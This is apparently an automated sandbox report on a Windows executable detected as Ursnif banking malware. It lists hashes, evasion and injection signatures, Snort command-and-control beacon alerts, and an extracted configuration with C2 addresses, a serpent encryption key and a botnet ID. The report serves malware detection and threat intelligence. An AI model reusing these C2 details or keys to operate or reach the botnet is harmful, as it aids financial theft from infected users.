Edit tour

Windows Analysis Report
OojqjHGE0W.exe

Overview

General Information

Sample Name:	OojqjHGE0W.exe
Analysis ID:	630152
MD5:	4ed3fa33609a51baf209a5954bef6633
SHA1:	aff82f0554f18c780561d6b8b1ca5a1001e42512
SHA256:	988177454fe3a5ba8fcdf7f3124e2c56f312b776542d3763540c254df6fe6f76
Tags:	exesigned
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Snort IDS alert for network traffic

Writes to foreign memory regions

Writes or reads registry keys via WMI

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Found API chain indicative of debugger detection

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Found evasive API chain (may stop execution after checking system information)

Writes registry values via WMI

Uses 32bit PE files

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

PE file contains strange resources

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

PE / OLE file has an invalid certificate

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

OojqjHGE0W.exe (PID: 3408 cmdline: "C:\Users\user\Desktop\OojqjHGE0W.exe" MD5: 4ED3FA33609A51BAF209A5954BEF6633)

InstallUtil.exe (PID: 5584 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: EFEC8C379D165E3F33B536739AEE26A3)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "S0cXgkczLn8DzpFkqJkBMx5geC7yniHR4ECyGeVYDO5jsqYVdXE2v679nj0L+4Im3j/P6z1P+Yt1BRosNI7Edvd1U5N0OYNwNVRfWwfbhm6jaX9Kjt9vEFS5dCsKX71jt2XzO+H4zoaN0nbuxJko5Np4J7p0zDkJiLw6HxWp4zGiWIwT2o7vLE3guRMwyRVXO9dkUDWYMn+gWBAKovUuxnaDZD7PIJ/H8zTx3Yz7628+O4pRw2KlIh0/fkIzdLb08ciTd+kW2cM+z/W40SWfyGxExAOJ7AMei6jzcKc68f1Bamsf4QGIbKQz9UqHR5cBlCKpLVi3hYeembcW9ep7oVhTb5Y2TC0ZAzzb/feTdhI=", "c2_domain": ["anm.msn.com", "194.76.225.45", "msi.msn.com", "194.76.225.56"], "botnet": "1700", "server": "50", "serpent_key": "1OoXFPbINCQ6HCAa", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.504942023.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000000A.00000003.501961576.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000000A.00000003.502032730.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000000A.00000002.535140555.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000000A.00000003.501571456.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000000A.00000003.501753987.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000000A.00000002.535054926.0000000001B69000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
0000000A.00000003.501977722.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000000A.00000003.501825234.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000000A.00000003.501701977.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
0000000A.00000003.501914236.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: InstallUtil.exe PID: 5584	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.InstallUtil.exe.1b694a0.2.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
10.2.InstallUtil.exe.1340000.1.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
10.2.InstallUtil.exe.1b694a0.2.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Snort Signatures

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) - Source IP: 192.168.2.3 - Destination IP: 52.169.118.173

Timestamp:	192.168.2.352.169.118.17349702802033203 05/19/22-14:41:40.292996
SID:	2033203
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) - Source IP: 192.168.2.3 - Destination IP: 52.169.118.173

Timestamp:	192.168.2.352.169.118.17349702802033204 05/19/22-14:41:40.292996
SID:	2033204
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 10.2.InstallUtil.exe.1b694a0.2.raw.unpack

Malware Configuration Extractor: Ursnif {"RSA Public Key": "S0cXgkczLn8DzpFkqJkBMx5geC7yniHR4ECyGeVYDO5jsqYVdXE2v679nj0L+4Im3j/P6z1P+Yt1BRosNI7Edvd1U5N0OYNwNVRfWwfbhm6jaX9Kjt9vEFS5dCsKX71jt2XzO+H4zoaN0nbuxJko5Np4J7p0zDkJiLw6HxWp4zGiWIwT2o7vLE3guRMwyRVXO9dkUDWYMn+gWBAKovUuxnaDZD7PIJ/H8zTx3Yz7628+O4pRw2KlIh0/fkIzdLb08ciTd+kW2cM+z/W40SWfyGxExAOJ7AMei6jzcKc68f1Bamsf4QGIbKQz9UqHR5cBlCKpLVi3hYeembcW9ep7oVhTb5Y2TC0ZAzzb/feTdhI=", "c2_domain": ["anm.msn.com", "194.76.225.45", "msi.msn.com", "194.76.225.56"], "botnet": "1700", "server": "50", "serpent_key": "1OoXFPbINCQ6HCAa", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Multi AV Scanner detection for submitted file

Source: OojqjHGE0W.exe

ReversingLabs: Detection: 46%

Machine Learning detection for sample

Source: OojqjHGE0W.exe

Joe Sandbox ML: detected

Source: 10.2.InstallUtil.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen7
Source: 0.2.OojqjHGE0W.exe.8b5230.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 10.0.InstallUtil.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen7
Source: 10.0.InstallUtil.exe.400000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen7
Source: 0.3.OojqjHGE0W.exe.2580000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen7
Source: 0.3.OojqjHGE0W.exe.8b5230.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.OojqjHGE0W.exe.2580000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen7

Source: OojqjHGE0W.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: OojqjHGE0W.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\Wotagebe poqu viquowe\Hosayem\Cajap\Viseti.pdb source: OojqjHGE0W.exe
Source:	Binary string: C:\Wotagebe poqu viquowe\Hosayem\Cajap\Viseti.pdbP; source: OojqjHGE0W.exe, 00000000.00000000.267737292.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, OojqjHGE0W.exe, 00000000.00000002.478000343.0000000000B21000.00000020.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Wotagebe poqu viquowe\Hosayem\Cajap\Viseti.pdbP;Q source: OojqjHGE0W.exe

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49702 -> 52.169.118.173:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49702 -> 52.169.118.173:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Connection: Keep-AliveCache-Control: no-cacheHost: www.msn.com
Source: global traffic	HTTP traffic detected: GET /de-ch/ HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Connection: Keep-AliveCache-Control: no-cacheHost: www.msn.comCookie: PreferencesMsn=eyJIb21lUGFnZSI6eyJTdHJpcGVzIjpbXSwiTWVTdHJpcGVNb2R1bGVzIjpbXSwiTWFya2V0Q29uZmlndXJhdGlvbiI6eyJNYXJrZXQiOiJkZS1jaCIsIlN1cHByZXNzUHJvbXB0IjpmYWxzZSwiUHJlZmVycmVkTGFuZ3VhZ2VDb2RlIjoiZGUtZGUiLCJDb3VudHJ5Q29kZSI6IkNIIn19LCJFeHBpcnlUaW1lIjo2MzgyMDA5NjkwMDQ5NzI5NzksIlZlcnNpb24iOjF90; marketPref=de-ch

Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: <link rel="preconnect" href="img-s-msn-com.akamaized.net" /><link rel="preconnect" href="c.msn.com" /><link rel="preconnect" href="c.msn.cn" /><link rel="preconnect" href="http://www.bing.com" /><link rel="preconnect" href="//browser.events.data.msn.com" /><link rel="dns-prefetch" href="img-s-msn-com.akamaized.net" /><link rel="dns-prefetch" href="c.msn.com" /><link rel="dns-prefetch" href="c.msn.cn" /><link rel="dns-prefetch" href="http://www.bing.com" /><link rel="dns-prefetch" href="//browser.events.data.msn.com" /><link rel="canonical" href="http://www.msn.com/de-ch/" /> <title>MSN Schweiz \| Sign in Hotmail, Outlook Login, Windows Live, Office 365</title> equals www.hotmail.com (Hotmail)
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hren, die sich auf Ihren Internetdatenverkehr auswirken.<br/><br/><a href=\""+e.html(f)+'" onclick="window.location.reload(true)">Klicken Sie hier<\/a> um diese Seite erneut zu laden, oder besuchen Sie: <a href="'+i+'">'+i+"<\/a><\/p><\/div><div id='errorref'><span>Ref 1: "+e.html(o(t.clientSettings.aid))+"   Ref 2: "+e.html(t.clientSettings.sid\|\|"000000")+"   Ref 3: "+e.html((new r.Date).toUTCString())+"<\/span><\/div><\/div>"});ot({errId:1512,errMsg:n})}function ot(n){require(["track"],function(t){var i={errId:n.errId,errMsg:n.errMsg,reportingType:0};t.trackAppErrorEvent(i)})}function tt(){var n=v(arguments);a(l(n,b),n,!0)}function st(){var n=v(arguments);a(l(n,h),n)}function ht(){var n=v(arguments);a(l(n,y),n)}function ct(n){(r.console\|\|{}).timeStamp?console.timeStamp(n):(r.performance\|\|{}).mark&&r.performance.mark(n)}var w=0,it=-1,b=0,h=1,y=2,s=[],p,k,rt,o,d=!1,c=Math.random()*100<=-1;return ut(r,function(n,t,i,r){return w++,n=nt(n,t,i,r," [ENDMESSAGE]"),n&&tt("[SCRIPTERROR] "+n),!0}),c&&require(["jquery","c.deferred"],function(n){k=!0;rt=n;s.length&&g()}),{error:tt,fatalError:et,unhandledErrorCount:function(){return w},perfMark:ct,warning:st,information:ht}});require(["viewAwareInit"],function(n){n({size2row:"(min-height: 48.75em)",size1row:"(max-height: 48.74em)",size4column:"(min-width: 79em)",size3column:"(min-width: 58.875em) and (max-width: 78.99em)",size2column:"(min-width: 43.75em) and (max-width: 58.865em)",size2rowsize4column:"(min-width: 79em) and (min-height: 48.75em)",size2rowsize3column:"(min-width: 58.875em) and (max-width: 78.99em) and (min-height: 48.75em)",size2rowsize2column:"(max-width: 58.865em) and (min-height: 48.75em)",size1rowsize4column:"(min-width: 79em) and (max-height: 48.74em)",size1rowsize3column:"(min-width: 58.875em) and (max-width: 78.99em) and (max-height: 48.74em)",size1rowsize2column:"(max-width: 58.865em) and (max-height: 48.74em)"})});require(["deviceInit"],function(n){n({AllowTransform3d:"false",AllowTransform2d:"true",RtlScrollLeftAdjustment:"none",ShowMoveTouchGestures:"true",SupportFixedPosition:"true",UseCustomMatchMedia:null,Viewport_Behavior:"Default",Viewport_Landscape:null,Viewport:"width=device-width,initial-scale=1.0",IsMobileDevice:"false"})})</script><meta property="sharing_url" content="http://www.msn.com/de-ch"/><meta property="og:url" content="http://www.msn.com/de-ch/"/><meta property="og:title" content="MSN Schweiz \| Sign in Hotmail, Outlook Login, Windows Live, Office 365"/><meta property="twitter:card" content="summary_large_image"/><meta property="og:type" content="website"/><meta property="og:site_name" content="MSN"/><meta property="og:image" content="http://static-global-s-msn-com.akamaized.net/hp-neu/sc/c6/519670.jpg"/><link rel="shortcut icon" href="//static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico" /><style>@media screen and (max-width:78.99em) and (min-width:58.875em){.layout-none:not(.mod1) .pos2{left:0}}.ie8 .grid .pick4~li.pick{di

Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ogp.me/ns#
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ogp.me/ns/fb#
Source: OojqjHGE0W.exe	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: OojqjHGE0W.exe	String found in binary or memory: http://s.symcd.com06
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/css/d7cb56b9-/direction=ltr.l
Source: InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/d7cb56b9-/direction=ltr.lo
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/c6/519670.jpg
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAXt9ve.img?h=368&w
Source: OojqjHGE0W.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: OojqjHGE0W.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: OojqjHGE0W.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/de-ch
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.msn.com/de-ch/
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://browser.events.data.msn.com/OneCollector/1.0/t.js?qsp=true&anoncknm=%22%22&name=%22M
Source: InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.hoergeraete.hoeren-heute.ch/horizon_reveal/?act=ACT0000040013ACT&utm_source=mcrs&amp
Source: OojqjHGE0W.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: OojqjHGE0W.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: OojqjHGE0W.exe	String found in binary or memory: https://d.symcb.com/rpa0.
Source: InstallUtil.exe, 0000000A.00000003.504942023.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535140555.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.geistm.com/l/HFCH_DTS_LP?bcid=61c4707a19d27603f32a58b8&bhid=62470ee6adad76040858398f&a
Source: InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.geistm.com/l/HFCH_DTS_LP?bcid=61c4707a19d27603f32a58ba&bhid=6203eb0e7db0ad17f44b22d8&a
Source: InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1652964100&rver=7.0.6730.0&am
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/logout.srf?ct=1652964101&rver=7.0.6730.0&lc=1033&id=1184&lru=
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/me.srf?wa=wsignin1.0&rpsnv=13&ct=1652964100&rver=7.0.6730.0&w
Source: InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com/
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/news/other/autofahrer-38-rast-mit-94-km-h-durch-30er-zone/ar-AAXsnwd?ocid=
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/news/other/fremdes-b%c3%bcsi-gef%c3%bcttert-frau-soll-1250-franken-strafe-
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/news/other/olivia-und-noah-sind-die-beliebtesten-baby-vornamen-in-z%c3%bcr
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/news/other/polizei-nimmt-baukran-kletterer-fest/ar-AAXq550?ocid=hplocalnew
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/news/other/stadtrat-handelt-in-z%c3%bcrich-west-mehr-preisg%c3%bcnstige-wo
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/news/other/weniger-verbindungen-zwischen-z%c3%bcrich-und-bern-daf%c3%bcr-m
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/news/other/z%c3%bcrcher-kantonsrat-pr%c3%bcft-nach-igelkot-vorfall-sicherh
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/shopping
Source: InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/de-ch/sport/other/der-fcz-verabschiedet-sich-von-doumbia-und-ceesay/ar-AAXsezM?o

Source: unknown

DNS traffic detected: queries for: anm.msn.com

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Connection: Keep-AliveCache-Control: no-cacheHost: www.msn.com
